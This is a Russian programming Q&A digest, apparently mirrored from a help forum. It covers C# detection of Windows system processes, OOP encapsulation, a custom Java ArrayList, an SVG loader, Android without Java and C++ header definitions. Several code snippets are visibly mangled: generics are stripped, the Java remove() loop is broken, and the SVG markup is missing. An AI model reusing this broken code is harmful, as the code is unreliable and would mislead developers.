Страницы

Поиск по вопросам

пятница, 29 ноября 2019 г.

Как проверить является ли процесс системным?

#c_sharp #net #windows #winapi


Как программно можно проверить нужный мне процесс, является ли он системным ?


    


Ответы

Ответ 1



Если приложение запускается с правами администратора, можно воспользоваться Restart Manager API: using System; using System.Collections.Generic; using System.ComponentModel; using System.Runtime.InteropServices; using System.Text; using System.Diagnostics; using System.Windows.Forms; namespace WindowsFormsTest1 { public partial class Form1 : Form { [DllImport("Rstrtmgr.dll", CharSet = CharSet.Unicode, PreserveSig = true, SetLastError = true, ExactSpelling = true)] public static extern UInt32 RmStartSession(out UInt32 pSessionHandle, UInt32 dwSessionFlags, string strSessionKey); [DllImport("Rstrtmgr.dll", CharSet = CharSet.Unicode, PreserveSig = true, SetLastError = true, ExactSpelling = true)] public static extern UInt32 RmRegisterResources(UInt32 dwSessionHandle, UInt32 nFiles, string[] rgsFilenames, UInt32 nApplications, ref RM_UNIQUE_PROCESS rgApplications, UInt32 nServices, string[] rgsServiceNames); [DllImport("Rstrtmgr.dll", CharSet = CharSet.Unicode, PreserveSig = true, SetLastError = true, ExactSpelling = true)] public static extern UInt32 RmGetList(UInt32 dwSessionHandle, out UInt32 pnProcInfoNeeded, ref UInt32 pnProcInfo, [In, Out] RM_PROCESS_INFO[] rgAffectedApps, ref UInt32 lpdwRebootReasons); [DllImport("Rstrtmgr.dll", CharSet = CharSet.Unicode, PreserveSig = true, SetLastError = true, ExactSpelling = true)] public static extern UInt32 RmEndSession(UInt32 dwSessionHandle); public const UInt32 RmRebootReasonNone = 0x0; public const int ERROR_MORE_DATA = 234; /// /// Преобразование DateTime в структуру FILETIME /// public static System.Runtime.InteropServices.ComTypes.FILETIME FileTimeFromDateTime(DateTime date) { long ftime = date.ToFileTime(); System.Runtime.InteropServices.ComTypes.FILETIME ft = new System.Runtime.InteropServices.ComTypes.FILETIME(); ft.dwHighDateTime = (int)(ftime >> 32); ft.dwLowDateTime = (int)ftime; return ft; } /// /// Получение типа процесса /// public static RM_APP_TYPE GetProcessType(Process proc) { uint handle; string key = Guid.NewGuid().ToString(); uint res = RmStartSession(out handle, (uint)0, key); if (res != 0) { throw new ApplicationException("Could not begin restart session. "); } try { uint pnProcInfoNeeded = 0, pnProcInfo = 0, lpdwRebootReasons = RmRebootReasonNone; RM_UNIQUE_PROCESS uniqueprocess = new RM_UNIQUE_PROCESS(); uniqueprocess.dwProcessId = proc.Id; System.Runtime.InteropServices.ComTypes.FILETIME ft = FileTimeFromDateTime(proc.StartTime); uniqueprocess.ProcessStartTime = ft; res = RmRegisterResources(handle, 0, null, 1, ref uniqueprocess, 0, null); if (res != 0) { throw new ApplicationException("Could not register resource."); } res = RmGetList(handle, out pnProcInfoNeeded, ref pnProcInfo, null, ref lpdwRebootReasons); if (res == ERROR_MORE_DATA) { RM_PROCESS_INFO[] processInfo = new RM_PROCESS_INFO[pnProcInfoNeeded]; pnProcInfo = pnProcInfoNeeded; // Get the list. res = RmGetList(handle, out pnProcInfoNeeded, ref pnProcInfo, processInfo, ref lpdwRebootReasons); if (res == 0) { if (pnProcInfo == 0) throw new ApplicationException("Process not found"); return processInfo[0].ApplicationType; } else { throw new ApplicationException("Could not list processes"); } } else if (res != 0) { throw new ApplicationException("Failed to get size of result."); } } finally { RmEndSession(handle); } throw new ApplicationException("Process not found"); } public Form1() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { //пример использования Process p=Process.GetProcessesByName(textBox1.Text)[0]; MessageBox.Show(GetProcessType(p).ToString()); /*Для системных процессов выведет RmCritical*/ } } /* Определения структур */ [StructLayout(LayoutKind.Sequential)] public struct RM_UNIQUE_PROCESS { // The product identifier (PID). public int dwProcessId; // The creation time of the process. public System.Runtime.InteropServices.ComTypes.FILETIME ProcessStartTime; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] public struct RM_PROCESS_INFO { const int CCH_RM_MAX_APP_NAME = 255; const int CCH_RM_MAX_SVC_NAME = 63; // Contains an RM_UNIQUE_PROCESS structure that uniquely identifies the // application by its PID and the time the process began. public RM_UNIQUE_PROCESS Process; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = CCH_RM_MAX_APP_NAME + 1)] // If the process is a service, this parameter returns the // long name for the service. public string strAppName; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = CCH_RM_MAX_SVC_NAME + 1)] // If the process is a service, this is the short name for the service. public string strServiceShortName; // Contains an RM_APP_TYPE enumeration value. public RM_APP_TYPE ApplicationType; // Contains a bit mask that describes the current status of the application. public uint AppStatus; // Contains the Terminal Services session ID of the process. public uint TSSessionId; // TRUE if the application can be restarted by the // Restart Manager; otherwise, FALSE. [MarshalAs(UnmanagedType.Bool)] public bool bRestartable; } public enum RM_APP_TYPE { // The application cannot be classified as any other type. RmUnknownApp = 0, // A Windows application run as a stand-alone process that // displays a top-level window. RmMainWindow = 1, // A Windows application that does not run as a stand-alone // process and does not display a top-level window. RmOtherWindow = 2, // The application is a Windows service. RmService = 3, // The application is Windows Explorer. RmExplorer = 4, // The application is a stand-alone console application. RmConsole = 5, // A system restart is required to complete the installation because // a process cannot be shut down. RmCritical = 1000 } } Код основан на данном примере: https://code.msdn.microsoft.com/windowsapps/How-to-know-the-process-704839f4 Метод GetProcessType возвращает тип процесса, для системных процессов он равен значению RM_APP_TYPE.RmCritical. Если приложение не имеет прав администратора, все проще: попытка получить дескриптор системного процесса просто упадет с ошибкой "Отказано в доступе". Нужно лишь ловить Win32Exception. Другие способы С использованием (нерекомендуемой) функции NtQueryInformationProcess из Native API: const uint ProcessBreakOnTermination = 29; [DllImport("NTDLL.DLL")] static extern int NtQueryInformationProcess(IntPtr hProcess, uint pic, ref uint pi, int cb, out int pSize); public static bool IsProcessCritical(Process pr) { uint val = 0; int size; int res = NtQueryInformationProcess(pr.Handle, ProcessBreakOnTermination, ref val, sizeof(uint), out size); if (res != 0 || size != sizeof(uint)) throw new Win32Exception("NtQueryInformationProcess failed"); return (val != 0); } Начиная с Windows 8.1 можно использовать функцию IsProcessCritical - пример.

Ответ 2



Если вы откроете диспетчер задач, то увидите владельца процесса => следуя этому ответу Можно получить владельца процесса через WMI: public string GetProcessOwner(int processId) { string query = "Select * From Win32_Process Where ProcessID = " + processId; ManagementObjectSearcher searcher = new ManagementObjectSearcher(query); ManagementObjectCollection processList = searcher.Get(); foreach (ManagementObject obj in processList) { string[] argList = new string[] { string.Empty, string.Empty }; int returnVal = Convert.ToInt32(obj.InvokeMethod("GetOwner", argList)); if (returnVal == 0) { // return DOMAIN\user return argList[1] + "\\" + argList[0]; } } return "NO OWNER"; } public string GetProcessOwner(string processName) { string query = "Select * from Win32_Process Where Name = \"" + processName + "\""; ManagementObjectSearcher searcher = new ManagementObjectSearcher(query); ManagementObjectCollection processList = searcher.Get(); foreach (ManagementObject obj in processList) { string[] argList = new string[] { string.Empty, string.Empty }; int returnVal = Convert.ToInt32(obj.InvokeMethod("GetOwner", argList)); if (returnVal == 0) { // return DOMAIN\user string owner = argList[1] + "\\" + argList[0]; return owner; } } return "NO OWNER"; } Это более лучшее решение, чем явно перечислять системные процессы, которые могут добавлять при установке спец. компонентов=> список составить тяжело. Как меня поправляют в комментариях, есть еще всякие сервисы, где отсутствует учетка, так же есть некотые системные учетки, например MS SQL работает из специфичной учетки, если я не ошибаюсь.

Ответ 3



Начнем с того, что у нас будет какая-то информация о процессах (не забываем подключить пространство имен using System.Diagnostics;): Process[] processList = Process.GetProcesses(); foreach (Process process in processList) { // В process хранится информация о процессе } Метод GetProcesses - возвращает массив компонентов Process для каждого ресурса процесса на локальном компьютере. Собственно, у процесса Process есть свойство Id в котором находится уникальный идентификатор связанного процесса. После выполнения этого кода у нас есть данные о процессах, и можно перейти к другой части, получение описания процесса и владельца процесса. Добавим ссылку на сборку System.Management кликаем на проекте, затем через Add->Reference... ставим галочку и прописываем using System.Management; Напишем такой метод: public static List> GetProcessExtraInformation(int processId) { // запрос получения всех процессов связанных с переданным идентификатором processId string query = "Select * From Win32_Process Where ProcessID = " + processId; ManagementObjectSearcher searcher = new ManagementObjectSearcher(query); ManagementObjectCollection processList = searcher.Get(); // здесь будет результат List> result = new List>(); foreach (ManagementObject obj in processList) { var description = @"Не могу получить информацию о процессе"; // Получим описание процесса, если таковое имеется if (obj["ExecutablePath"] != null) { try { FileVersionInfo info = FileVersionInfo.GetVersionInfo(obj["ExecutablePath"].ToString()); description = info.FileDescription; } catch { } } // Получить владельца процесса в argList var owner = @"Не могу получить владельца процесса"; string[] argList = new string[] { string.Empty, string.Empty }; int returnVal = Convert.ToInt32(obj.InvokeMethod("GetOwner", argList)); if (returnVal == 0) { owner = argList[1] + "\\" + argList[0]; // Домен и владелец } result.Add(new KeyValuePair(processId, string.Format("Description: '{0}'\nOwner: '{1}'", description, owner))); } return result; } Да, начальный код перепишем вот так: Process[] processList = Process.GetProcesses(); foreach (Process process in processList) { // В process хранится информация о процессе var processInfo = GetProcessExtraInformation(process.Id); foreach (var info in processInfo) { Console.WriteLine(string.Format("Id: {0}\n{1}", info.Key, info.Value)); } Console.WriteLine(); } Console.ReadLine(); В результате получим что-то на подобии вот этого: Модернизировал ответ из источника: How do I determine the owner of a process in C#? и дополнил некоторыми деталями результат. Исходя из полученных данных, можно предположить, что процесс с владельцем SYSTEM - является системным процессом. Также, следует обратить внимание на домены. Учетная запись локальной системы — это встроенная учетная запись, обладающая очень высокими правами доступа. Она имеет обширные права и выступает в качестве компьютера сети. Фактическое имя этой учетной записи — «NT AUTHORITY\SYSTEM». Про учетные записи и службы можно почитать к примеру здесь: Настройка учетных записей служб Windows в разделе Использование стартовых учетных записей для запуска служб SQL Server

Ответ 4



Если я не ошибаюсь нет явного способа опеределить, является ли процесс системным, зато можно сделать список системных процессов и проверять вхождение. Вот список навскидку: List sp = new List { "svchost", "csrss", "System", "wininit", "irstrtsv","scrncap","lsass","System", "wininit","taskmgr","dwm","spoolsv","smss", "SearchIndexer","lsm","taskhost","svchost","explorer", "winlogon","services","conhost" };

Инкапсуляция. Принципы ООП

#ооп #инкапсуляция


Начал изучать объектно-ориентированное программирование. Со всеми принципами разобрался,
но не могу до конца осмыслить, для чего нужна инкапсуляция. В моем понимании это контроль
входящих данных и более ничего, но разве нет ничего более существенного?
    


Ответы

Ответ 1



Более того - инкапсуляция: это самый важный принцип не только ООП, а программирования в принципе. Наследование, и полиморфизм - это строго говоря не принципы вовсе, скорее некоторые свойства ООП-систем связанные с переиспользованием кода. Почему же так важна инкапсуляция: представьте себе код не учебной задачки, а код огромного проекта, где только кода (со всякими библиотеками) на гигабайт. А теперь представьте, что в этом коде всё крепко-накрепко друг с другом перевязано. Как думаете, возможно будет такой код анализировать в принципе? Даже если предположить что возможно: то очевидно изменение каждого метода будет провоцировать понижение стабильности. ООП старается проецировать реальный мир на код: в реальном мире вода, налитая в чашку не будет проникать в керамику, кнопка от клавиатуры не будет участвовать в вычислениях, а человеческий мозг не будет помогать сердцу толкать кровь. А принцип инкапсуляции - это и есть принцип устранения связей, то есть то, что позволяет объектам не "перемешиваться". Именно обособление, которое даёт инкапсуляция - позволяет уложить даже огромные объёмы кода в голову, разделяй и властвуй - это ещё древняя поговорка для реального мира отлично работает и для мира цифрового. А также дополнительно защищает вас от ошибок: компьютер не перестанет работать, если случайно сломать кнопку от клавиатуры(инкапсулированный код). Простота кода объекта X как-раз измеряется количеством открытых связей между объектом X и другими объектами - то есть если этих связей очень много: то очень проблематично положить объект X к себе в голову, проблематично даже дать объективное название объекту X- так как он даёт о себе слишком много разнородной информации. Инкапсуляция проявляется не только в private и protected. Метод класса инкапсулирует в себе алгоритм и переменные. Вы можете не бояться делать неразборчивые четырёхъярусные алгоритмы внутри метода класса, так как программист которому понадобится класс будет смотреть не на содержимое метода, а на название метода. Это тоже инкапсуляция, работает принцип сокрытия - программисту неважно что внутри, при этом он понимает как всё работает. Тоже самое относится к функциям-замыканиям: они для того и созданы, чтобы обособлять внутри себя алгоритм с переменными для его работы. То есть функции тоже работают прежде всего на инкапсуляцию - т.к. переменные внутри функции, алгоритм их использующий, может совершенно не беспокоить того кто использует функцию. И я бы даже сказал, что функции в современном программировании инкапсулируют гораздо больше, чем модификаторы видимости в классах - яркие примеры сплошь и рядом на JavaScript. Подытожу свой ответ - инкапсуляция это почти что то же самое, что и обособление. Именно обособление - ключевая вещь, которая помогает систему любых размеров уложить в голове. Инкапсуляция уменьшает количество связей между объектами - думать о них, и прокручивать в голове механизм их работы становится гораздо проще, разработка ускоряется. Разделяй и властвуй. Однако это верно только для средних-больших проектов, с множеством подключаемых библиотек. На небольшой задаче реальную пользу инкапсуляции увидеть можно только когда пренебрегая использованием функций/классов, у вас образуется слишком большой стек глобальных переменных, от которых голова пойдёт кругом.

Ответ 2



Инкапсуляция - сокрытие данных. Приведу простой пример. Допустим у нас есть прямоугольник, у которого поля открыты (модификатор доступа public): public class Rectangle { public int width; public int height; } Вы же можете написать следующий код: Rectangle rect = new Rectangle(); rect.width = -1; rect.height = -1; С точки зрения компилятора все отлично, -1 имеет тип int, ничего незаконного мы не делаем. Но Вы то понимаете, что так делать нельзя (что означает отрицательная высота?) и хочется как-то избавиться от этой ошибки. Что можно сделать? А можно сделать следующее: public class Rectangle { private int width; private int height; public void setHeight(int value) { if(value <= 0) throw new IllegalArgumentException(); height = value; } public int getHeight() { return height; } //Тоже самое с width } Что изменилось? У поля height модификатор доступа стал private, то есть теперь за границамы класса мы не можем получить к нему доступ. Но ведь это тоже не дело, мы, скорее всего, захотим использовать это поле у себя в коде. Для этого был добавлен метод (называется геттер) getHeight(). Также, добавился метод (называется сеттер), который, собственно, и решает нашу проблему (с отрицательными значениями). Теперь, если попытаться сделать следующее: Rectangle rect = new Rectangle(); rect.setHeight(-1) ; //IllegalArgumentException! Будет ошибка! Таким образом, мы "скрыли" поля (используя модификатор private) и задаем их значение через методы (называемые сеттерами), в которых можем проверять данные на корректность (валидация). Теперь другие программисты (если Вы работаете в команде) или Вы сами не смогут "поламать" Ваш обьект (сделать так чтобы что-то перестало работать). Разумеется, пример приведенный мною, является очень простым. На практике (когда Вы работаете в команде) все не так очевидно. В конце концов, Вы можете просто ошибиться и, допустим, поделить на 0 (это Java сообщит Вам об ошибке, а на C++ программа аварийно завершиться и потом гадай в какой строке из миллиона что-то не так!!!).

Ответ 3



Инкапсуляция (encapsulation) - это механизм, который объединяет данные и код, манипулирующий этими данными, а также защищает и то, и другое от внешнего вмешательства или неправильного использования. (from codenet.ru) Инкапсуляция нужна для того, что бы пользователь не мог использовать не предназначенный для него функционал. Почитайте Гради Буча "Объектно-ориентированный анализ и проектирование с примерами приложений на С++". У него нормально расписано и примеры интересные. Система должна быть закрыта, как Ганнибал Лектор в камере. Мы знаем как узнать жив ли он еще и как дать ему покушать. Больше взаимодействовать с ним нельзя. Могут быть последствия. Очередной апдейт. Компьютерную программу можно рассматривать как систему, состоящую из функционала предназначенного для пользователя и функционала предназначеного для служебного использования. Служебный функционал следует скрывать, что бы не вводить пользователя в недоумение и не дать ему возможности изменить внутреннее состояние системы не подобающим образом.

Ответ 4



Объект "знает" свое состояние, и когда его "попросите", чтобы свое состояние изменил, сделает то так, чтобы его состояние было всегда консистентным. Пример: Объект: Время в виде минуты:секунды вместе с методом увеличения на любые количество секунд. Состояние: 7:42. Просьба: Увеличивай свое состояние на 20 секунд. Новое состояние: 8:02. Когда бы вы сохраняли минуты и секунды в 2 независимых переменных, тогда на всяком месте программы, где бы вы добавили секунды, должны были опять и опять проверять, если не нужно изменить тоже количество минут - и могли бы это забыть. И каждому, кто бы хотел добавить что-то до вашей программы, указать на это.

Ответ 5



Как указано в википедии с трактовкой термина не все просто. Под ним могут подразумевать механизм ограничения доступа и/или конструкцию языка позволяющую упаковывать данные и методы обработки этих данных. Если по ограничению доступа вам много написали и это достаточно просто для понимания, то с упаковкой у начинающих все плохо и с чистой совестью для каждого поля класса создаются пара get set методов. В подавляющем большинстве случаев это явный признак того, что имеет место нарушение инкапсуляции. Объект должен сам обрабатывать свои данные, а не быть просто контейнером для них. Объект это данные + поведение, в противном случае это не объект в том смысле, который вкладывал в него автор ООП. И на мой взгляд это является более важным, чем просто механизм ограничения доступа.

Реализация своего ArrayList

#java


Здравствуйте,есть задача написать свою коллекцию,но не понимаю как подойти к этому,как
создать динамический массив в котором будут храниться все данные?
    


Ответы

Ответ 1



Основные методы и логика масштабирования внутреннего массива в обе стороны: public class MyArrayList { private final int INIT_SIZE = 16; private final int CUT_RATE = 4; private Object[] array = new Object[INIT_SIZE]; private int pointer = 0; /* Добавляет новый элемент в список. При достижении размера внутреннего массива происходит его увеличение в два раза. */ public void add(T item) { if(pointer == array.length-1) resize(array.length*2); // увеличу в 2 раза, если достигли границ array[pointer++] = item; } /* Возвращает элемент списка по индексу. */ public T get(int index) { return (T) array[index]; } /* Удаляет элемент списка по индексу. Все элементы справа от удаляемого перемещаются на шаг налево. Если после удаления элемента количество элементов стало в CUT_RATE раз меньше чем размер внутреннего массива, то внутренний массив уменьшается в два раза, для экономии занимаемого места. */ public void remove(int index) { for (int i = index; i INIT_SIZE && pointer < array.length / CUT_RATE) resize(array.length/2); // если элементов в CUT_RATE раз меньше чем // длина массива, то уменьшу в два раза } /*Возвращает количество элементов в списке*/ public int size() { return pointer; } /*Вспомогательный метод для масштабирования.*/ private void resize(int newLength) { Object[] newArray = new Object[newLength]; System.arraycopy(array, 0, newArray, 0, pointer); array = newArray; } }

Ответ 2



Для начала, прочитайте про Обобщения(Generics) в Java - это нужно для того, чтобы понять, как сделать коллекцию для любого типа. Позже, на основании массива (ведь ArrayList и реализован на основе массива) сделайте динамическое расширение массива при достижении максимальной длины. Делается это в двух словах так: Проверяете при добавлении не последний ли это элемент в массиве? Если true -> создаете новый массив с бОльшим размером, чем в текущем, копируете содержимое текущего массива, а затем подменяете ссылки на массивы. Таким же образом можно создавать динамически расширяемые стэки, очереди, etc. Если нужны коллекции не на основе массива - смотрите в сторону LinkList или Tree, в интернете есть масса статей, как сделать свою коллекцию на основании LinkList или Tree. p.s. Если нужно - есть исходники с LinkList и Tree, которые мы проходили в универе ;) upd. Исходники с некоторыми объяснениями на list и tree.

Ответ 3



Если не знаете как решить задачу целиком разбейте ее на подзадачи: Создайте класс обертку для обычного массива Реализуйте методы добавления, удаления и пр. Если вы хотите создать "честную" коллекцию, то нужно реализовать интерфейс java.util.Collection или java.util.List Реализуйте динамическое увеличение размера, если в массиве не хватает места для следующего элемента. Это делается, обычно, созданием нового массива большего размера и копированием в него элементов из старого. Добавьте дженерики.

Ответ 4



Можно сделать имплементацию (реализация интерфейса) от List к своему классу, который реализует коллекцию типа ArrayList, чтобы не забыть реализовать нужные тебе методы.

Как CSS лоадер преобразовать в SVG лоадер?

#css3 #html5 #svg #анимация #svg_animation


Коллеги, помогите этот пример на css полностью перевести в SVG, так как хочу его
использовать не только на всю страницу, то и на более мелких объектах типа  слайдер...



* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

html,
body {
  overflow: hidden;
  width: 100%;
  height: 100%;
  background-color: #2b2b2b;
}

.wrapper {
  width: 100%;
  height: 100%;
  position: relative;
}

.wrap {
  position: absolute;
  left: calc(50% - 150px);
  top: calc(50% - 150px);
  width: 300px;
  height: 300px;
}

.border-wrap {
  overflow: hidden;
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  border-radius: 50%;
  border: 3px solid #6fba82;
  border-top: 3px solid #f79533;
  border-bottom: 3px solid #ef4e7b;
  border-right: none;
  box-shadow: 
  inset 1px 8px 2px 5px #f79533, 
  2px 7px 2px 5px #f37055, 
  inset 3px 6px 2px 5px #ef4e7b, 
  4px 5px 2px 5px #a166ab, 
  inset 5px 4px 2px 5px #5073b8, 
  6px 3px 2px 5px #1098ad, 
  inset 7px 2px 2px 5px #07b39b, 
  8px 1px 2px 5px #6fba82;
  animation: main-rotate 3s infinite linear;
}

@keyframes main-rotate {
  from {
    transform: rotateZ(0);
    box-shadow: 
    inset 1px 8px 2px 5px #f79533, 
    2px 7px 2px 5px #f37055, 
    inset 3px 6px 4px 5px #ef4e7b, 
    4px 5px 2px 5px #a166ab, 
    inset 5px 4px 6px 5px #5073b8, 
    6px 3px 2px 5px #1098ad, 
    inset 7px 2px 8px 5px #07b39b,
    8px 1px 2px 5px #6fba82;
  }
  50% {
    box-shadow: 
    inset 1px 8px 6px 5px #ADFF2F, 
    2px 7px 2px 5px #7FFF00, 
    inset 3px 6px 6px 5px #7CFC00, 
    4px 5px 2px 5px #00FF00, 
    inset 5px 4px 4px 5px #32CD32, 
    6px 3px 2px 5px #98FB98, 
    inset 7px 2px 2px 5px #90EE90, 
    8px 1px 2px 5px #00FA9A;
  }
  from {
    transform: rotateZ(360deg);
    box-shadow: 
    inset 1px 8px 2px 5px #f79533, 
    2px 7px 2px 5px #f37055, 
    inset 3px 6px 4px 5px #ef4e7b, 
    4px 5px 2px 5px #a166ab, 
    inset 5px 4px 6px 5px #5073b8, 
    6px 3px 2px 5px #1098ad, 
    inset 7px 2px 8px 5px #07b39b, 
    8px 1px 2px 5px #6fba82;
  }
}


Ответы

Ответ 1



Дополнительные эффекты Анимация градиента кольца лоадера Будем анимировать атрибут линейного градиента stop-color svg { background:black; } Аналогично делаем анимацию градиента второго кольца svg { background:black; } К анимации градиента добавляем вращение колец svg { background:black; } Добавляем текст и к нему тоже применяем градиент. Если практически применять этот пример в верстке, то можно делать галерею, где статично лоадер мигает, а после клика появляется текст, фото и т.д , которые будут окружены крутящимися кольцами. Запуск анимации по клику внутри SVG. .container { width:50%; height:50%; } svg { background:black; } #path1 { fill:url(#gradl); stroke:none; fill-opacity:1; } #path2 { fill:url(#grad2); stroke:none; fill-opacity:0.8; } #crc1 { stroke:none; fill:black; } #txt1 { fill:url(#grad2); }
Click me


Ответ 2



Фигуры будут иметь сложные контуры и поэтому, чтобы избежать непредсказуемого поведения при вращении элементов SVG, очень важно сразу позаботиться о чётком определении центра вращения. Работа в векторном редакторе Для задания / определения центра фигур сделаем несколько простых шагов: Создадим файл SVG c двумя фигурами: прямоугольник и вписанную в него окружность Загружаем этот файл в векторный редактор Центр вращения будет 150 Х 150px Чтобы трансформировать контуры прямоугольника в нужную фигуру, выбираем в меню векторного редактора Контур / Оконтурить объект shift+Contrl+C Добавляем по осям ещё 4 узла Выделяем все узлы фигуры и выбираем - Сделать выделенные узлы автоматически сглаженными Получилась вот такая фигура Перетаскивая узловые точки и с помощью их рычагов добиваемся нужной формы При перетаскивании необходимо следить, чтобы не сдвинуть всю фигуру. На картинке видно, что центр остался на месте 150 Х 150 Сохраняем файл. Забираем формулу патча d="M.... /> Создание кода прелоадера Одно кольцо вокруг окружности Даем команду вращения values="0 150 150;360 150 150" - c 0 до 360 град. центр 150 Х 150 Добавляем второе кольцо, полученное из копии первого кольца и поворачиваем его предварительно на 45 град. Добавляем каждому кольцу градиенты, прозрачность svg { background:black; }

Ответ 3



Многих пугают очень длинные строчки SVG кода. Тяжело психологически перейти от формата CSS свойств, где в каждой отдельной строчке один атрибут. Попробую написать атрибуты, команды SVG в стиле правил CSS Заодно поменяю цветовую схему прелоадера: .container { width:50%; height:50%; } svg { background:black; } #path1 { fill:url(#gradl); stroke:none; fill-opacity:1; } #path2 { fill:url(#grad2); stroke:none; fill-opacity:0.6; } #crc1 { stroke:none; fill:black; } #txt1 { fill:url(#grad2); }
Click me


Хочу писать под Android, но не люблю Java [закрыт]

#java #android #android_ndk


Не люблю Java и все. А хочется писать именно под это платформу. Я знаю, что существует
Android NDK, но его же надо использовать только по назначению для каких-либо серозных
вещей типа движков для игр.    


Ответы

Ответ 1



Тогда без Java! Для андроида можно разрабатывать приложения на почти любом языке программирования, компиляторы которых генерируют байт-код для JVM. Нравится функциональное программирование, совмещенное с продуманной объектной моделью? Развитая система типов? Тогда смотрите Scala и краткую инструкцию по разработке приложений на Scala для Android. Нравится функциональное программирование в совокупности с динамической типизацией? Макросы и идея семантической компрессии приводят вас в восторг? Тогда смотрите Clojure. Вот так его используют для разработки под Android. Фанат скриптовых языков? Выбирайте - Ruby или Python, что больше нравится. Здесь объяснят, как их "готовить" для Android'а. Предупреждение: конечно, на практике не все так идеально. Чтобы успешно разрабатывать на вышеперечисленных языках для платформы Android, потребуется вложить на первых порах намного больше сил, чем в случае с Java. Придется научиться использовать дополнительные инструменты, подыскать среды программирования, зачастую не такие удобные, как для Java, преодолеть свою лень и получше изучить "внутренности" виртуальных машин JVM и Dalvik, ну и т.д. Если осилите - о Java можно почти полностью забыть. Примечание о производительности: из перечисленных Scala единственный язык со статической типизацией. Производительность почти такая же, как и у Java. Хотя идиоматический код на Scala может быть медленнее: чтобы понять почему, вам надо хорошо понимать, что такое функциональное программирование - это отдельная большая тема. Остальные языки - динамические, и как следствие, на порядок уступают в производительности Java. Хотелось бы, однако, напомнить, что "преждевременная оптимизация - корень всех зол". А также то, что фактор производительности излишне переоценивается программистами. Серверная часть многопользовательской онлайн-игры Eve Online, в которую одновременно играют десятки тысяч человек, написана на Python. Вы уверены, что требования вашего проекта к производительности выше, чем у разработчиков этой игры? В 95% случаев ответ отрицательный.

Ответ 2



Если по каким-либо причинам вы не можете писать на Java, то у вас остается один выход - использовать каркасы, которые поставляют сторонние разработчики. Например, Rhodes. Если выберете его, будете писать на HTML + JavaScript + Ruby, правда в возможностях будете сильно ограничены.

Ответ 3



Adobe Flex.

Ответ 4



Lua любите? Пишите сразу и под Android, и под iOS: Corona SDK

Ответ 5



NativeActivity вам в помощь.

В каком случае нужно определять функцию в заголовочном файле?

#c++


Стоит ли определять функции сразу в заголовочном файле .h, или всегда определять
в файле .cpp?
    


Ответы

Ответ 1



Если функция будет использоваться только внутри одного CPP, то выносить в заголовочный файл большого смысла нет. Если функции вызывают друг друга, то можно разделить объявление и реализацию. Типа инкапсуляция, "приватная функция". Если функция будет использоваться в нескольких файлах, то следует объявить её в H и реализовать в CPP. Таким образом функция будет существовать в единственном экземпляре и её можно будет использовать где угодно, просто включив заголовочный файл. Типа публичный интерфейс, "публичная функция". Если функция шаблонная (template) или инлайновая (inline), то без вариантов следует размещать и объявление, и реализацию в заголовочном файле, потому что шаблонные функции по сути текстовые шаблоны, и их компилятор не сможет "извлечь" из CPP. Если объявление и определение инлайновой функции не разместить в заголовочном файле, то на стадии сборки посыпятся ошибки, что "определение функции не найдено". Если неинлайновую функцию разместить в заголовочном файле, то на стадии сборки могут посыпаться ошибки про "несколько определений функции", если заголовочный файл включён в нескольких модулях. В целом, вопрос сводится к "делать ли функцию инлайновой". А вот делать ли её инлайновой — это уже вопрос производительности выполнения против возможности перелинковки против скорости сборки. См. также When should I write the keyword 'inline' for a function/method?

Ответ 2



Формально вы можете класть реализацию функции в header. В некоторых случаях (например, шаблон) это даже необходимо¹. Но тем не менее, имеет смысл предпочитать класть функцию в .cpp-файл. Когда вы кладёте в header лишь декларацию, вы тем самым улучшаете возможности для раздельной компиляции. Например, если вы поменяете код функции, то компилятор перекомплирует лишь исходный файл, содержащий функцию, но ему не нужно будет перекомпилировать остальные файлы, включающие header. Следующая причина: инкапсуляция. Если вы положили функцию в header, то она видна всем. А значит, другие пользователи будут видеть функцию (и, возможно, писать свой код ориентируясь не на документацию, а на конкретную имплементацию). Пользователь, конечно, может заглянуть и в .cpp-файл, но если вы поставляете библиотеку, вы можете отдать лишь header + скомпилированный объектный файл, так что заглянуть будет некуда! Затем, ещё одна проблема есть для функций-членов. Допустим, у вас есть класс A с публичной функцией-членом f, и класс B с публичной функцией-членом g. Пусть реализация класса A пользуется B::g, а реализация класса B — функцией A::f. Пусть реализация класса A лежит в header-файле a.h, а класса B — в b.h. Поскольку A пользуется B::g, то a.h должен включать b.h. По аналогичной причине b.h должен включать a.h. Таким образом, если первым при компиляции какого-нибудь cpp-файла подключается a.h, то в нём подключается b.h, который теперь не может рекурсивно подключить a.h. Проблема с взаимно-рекурсивными функциями-членами решилась бы, если бы в header-файлах были только декларации классов, и вместо включения b.h можно было бы просто написать class B;². Ещё один случай, упомянутый в других ответах — локальная функция внутри .cpp-файла, которая нужна только внутри данного .cpp и не экспортируется. В этом случае, однако, вам нужно поместить её в анонимный namespace, чтобы избежать неприятных сюрпризов от компоновщика. Подумайте, что будет, если вы определите нечаянно две «невидимые» функции с одинаковыми сигнатурами (и ужаснитесь). ¹ Почти необходимо на самом деле, есть трюки, которые позволяют обходиться без этого. ² Поскольку форвард-декларации функций работают на уровне отдельной функции, эта проблема, кажется, не возникает для свободных функций (не-членов).

Ответ 3



Есть два правила: Функция должна быть объявлена (declared) до ее использования Функция должна быть определена (defined) ровно один раз Система с одним заголовочным файлом и одним файлом исходника на класс была создана как раз чтобы сделать выполнение этих правил простым. Поэтому считайте, что есть одно правило: inline-функции и шаблонные функции определяются в заголовочных файлах, все остальные - в исходниках Если какая-то функция не объявлена, то компилятор выдаст вам ошибку при попытке использовать ее в другом файле исходника.

Ответ 4



Лучше всегда в .cpp (кроме шаблонных методов, разумеется)

Ответ 5



На самом деле разницы нет, главное чтобы функция определялась до её использования. Я на практике встречал часто, что в хедере определяется функция, а в срр уже описывается. Если функция будет описана после её вызова (по коду)то она сработает только в том случае если её определили заранее допустим в хедере.

Почему не стоит использовать sudo pip?

#python #ubuntu #pip


В одном из обсуждений на сайте, был поднят вопрос, о том, что плохо использовать
sudo pip. В силу того, что я не до конца понимаю этот аспект, то мне предложили задать
отдельный вопрос. Многим другим людям это тоже может быть полезно знать.
    


Ответы

Ответ 1



